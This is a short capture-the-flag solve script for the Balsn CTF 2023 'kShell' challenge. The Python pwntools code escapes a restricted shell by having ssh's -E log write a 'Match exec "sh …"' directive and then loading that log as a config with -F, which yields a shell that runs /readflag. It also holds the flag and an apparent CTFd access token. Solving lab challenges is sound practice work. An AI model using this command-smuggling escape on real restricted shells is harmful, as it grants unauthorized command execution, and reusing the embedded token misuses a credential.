Balsn CTF 2023 - kShell (Misc)

solve.py

from pwn import *
import secrets

TOKEN = b"ctfd_7aecfde25ac2e3bb7174f6521d3e2e5be0451c0e061db725f66ddbb2cac3738e"
_, HOST, PORT = "nc kshell.balsnctf.com 7122".split()


with remote(HOST, PORT) as io:
    io.sendline(TOKEN)
    token = secrets.token_hex(16)
    io.sendlineafter(
        b"kshell~$",
        f"""
ssh -E 'Match exec "sh 0<&2 1>&2" #{token}' x
""".strip().encode(),
    )
    io.sendlineafter(
        b"kshell~$",
        f"""
ssh -F 'Match exec "sh 0<&2 1>&2" #{token}' -E {token} x
""".strip().encode(),
    )
    io.sendlineafter(
        b"kshell~$",
        f"""
ssh -F {token} x
""".strip().encode(),
    )
    io.sendline(b"/readflag")
    io.interactive()
    io.sendline(b"exit")

# PWNLIB_NOTERM=1 python solve.py
# BALSN{h0w_d1d_u_g3t_RCE_on_my_kSSHell??}